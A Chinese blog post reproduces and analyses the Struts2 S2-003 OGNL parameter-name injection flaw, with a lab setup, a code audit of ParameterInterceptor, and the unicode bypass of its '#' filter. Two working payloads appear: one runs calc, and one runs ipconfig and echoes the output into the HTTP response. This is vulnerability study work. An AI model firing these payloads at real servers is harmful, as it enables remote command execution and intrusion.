• 『Java安全』Struts2 2.1.8.1 参数名OGNL注入漏洞S2-003复现与浅析


    漏洞简介

    Struts 2解析参数名称使用了OGNL表达式,构建恶意OGNL表达式会造成注入

    影响范围

    Struts ≤ 2.1.8.1并且部署在tomcat6

    tomcat archive

    漏洞复现

    环境配置

    8u111 + Struts 2.1.8.1 + tomcat 6.0.10,S2只需要下面这五个jar

    在这里插入图片描述
    只需要写一个简单Action接受参数即可

    在这里插入图片描述
    在struts.xml注册action

    在这里插入图片描述

    复现操作

    ?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(aaa)(aaa)
    
    • 1

    向rce.action发送GET请求即可

    在这里插入图片描述

    代码审计

    观察payload是用了OGNL表达式特性来构造的:
    (a)(b),具体看su18师傅的解析很全面了,简而言之就是b任意、会对a进行两次解析一次为字符串、一次是表达式解析

    在S2-001审计里面知道:ParameterInterceptor类用来处理请求参数,看一下doIntercept方法:set之前设置了参数关闭了执行功能,所以要在OGNL注入前把这个参数打开

    在这里插入图片描述
    这个参数是在上下文里面,直接修改context["xwork.MethodAccessor.denyMethodExecution"]=false即可

    在这里插入图片描述
    修改变量用#

    ('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(aaa)
    
    • 1

    接着来到setParameters方法,首先调用acceptableName方法获取参数名称

    在这里插入图片描述
    进行校验是否合法

    在这里插入图片描述
    进行了正则判断,过滤了#,那么上面修改context参数就要想办法绕过

    在这里插入图片描述
    先往后看,合法后就会依次获取参数键值,然后解析存入参数栈

    在这里插入图片描述
    setValue之前对参数键值进行了compile操作

    在这里插入图片描述
    继续追入,调用OnglParserTokenMananger来读取字符串

    在这里插入图片描述
    其中又调用了JavaCharStream都readChar方法,可以看到这里兼容unicode,因此上面绕过就可以使用#的unicode绕过,这里给静态变量赋值的=也要unicode编码一下

    在这里插入图片描述

    之后就是调用OgnlUtil.setValue()OGNL解析了,该方法在解析的时候需要多一个节点,所以在payload后面是两个节点

    流程

    • OGNL以节点(payload)(aaa)(bbb)形式传入
    • 修改参数context[\'xwork.MethodAccessor.denyMethodExecution\']
    • unicode编码

    利用

    ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
    
    • 1

    参考

    https://cwiki.apache.org/confluence/display/WW/S2-003
    https://su18.org/post/struts2-1/#s2-003
    https://www.cnblogs.com/devi1/p/13486634.html

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://blog.csdn.net/Xxy605/article/details/126087500
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    Lightroom“夏日清凉”调色思路
    Java 中HashMap 详解
    备战金九银十,Java研发面试题+答案整合PDF,走到哪刷到哪
    利用遥感影像计算大蒜种植面积
    【globlal与nonlocal和闭包函数、装饰器、语法糖】
    uniapp——uicloud云服务(增删改查)
    Java苍穹外卖01-开发环境搭建(Git、nginx)-Swagger-员工管理
    V90伺服 EPOS模式下回原(详细配置+SCL源代码)
    AI机器学习实战 | 使用 Python 和 scikit-learn 库进行情感分析
    前端培训丁鹿学堂:前端js中Object常用知识点总结
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126087500